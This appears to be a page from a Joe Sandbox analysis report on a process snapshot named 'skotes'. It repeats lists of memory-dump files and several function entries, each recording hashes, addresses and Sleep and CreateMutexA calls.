Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 50951ea9bd3707df9ed32a1efdd2e7a44c6143f7d092895cb758d2c2a9baed18
Instruction ID: bf0203d8a9ef99615d09f3ed05b8d19e129933780d3f83954c57b0addb472c1a
Opcode Fuzzy Hash: 50951ea9bd3707df9ed32a1efdd2e7a44c6143f7d092895cb758d2c2a9baed18
Instruction Fuzzy Hash: F5313C717042089BEB1C9B68DE89F6CB762DBC6318F28522DE014B73D1C77789828612

Function 00ECA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 047932b12fe9f9f47e4147f04531940d852d65aca5326a58c09fe27f7eb997dd
Instruction ID: 14441314eb6890db22ec670ba8a8a577f269abf211ed65446cb2d0137b930e4a
Opcode Fuzzy Hash: 047932b12fe9f9f47e4147f04531940d852d65aca5326a58c09fe27f7eb997dd
Instruction Fuzzy Hash: 34313C71B0410897EB1C9B78DE8DF6DB762EBC1318F28522CE064B73D5C77789828A52

Function 00ECA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2fd9e03eb33668a8e2754739f37c52789b769376e5f171bceeffcbc84e6d2c9b
Instruction ID: 0a7830586e280048c6d2868bc75ab379b08f6aa678611ae5fabac22545fc9e25
Opcode Fuzzy Hash: 2fd9e03eb33668a8e2754739f37c52789b769376e5f171bceeffcbc84e6d2c9b
Instruction Fuzzy Hash: DB312071B041088BEB18DB78DD89F6CB761DBC5318F28962CE454B73D5C77A89428712

Function 00ECA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b6b37363c5b23b1c5abb5631bd418edaad14b47d69b8a1b13b697dfb0c47604c
Instruction ID: c71f6328bb45261ab968681e22ce908155c04f25e20826bbafbe3f81fcb673b2
Opcode Fuzzy Hash: b6b37363c5b23b1c5abb5631bd418edaad14b47d69b8a1b13b697dfb0c47604c
Instruction Fuzzy Hash: 15312C717041088BEB189B78DE89B6DB7B2DBC1318F28562DE014F73D1C77A89828652

Function 00EC9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
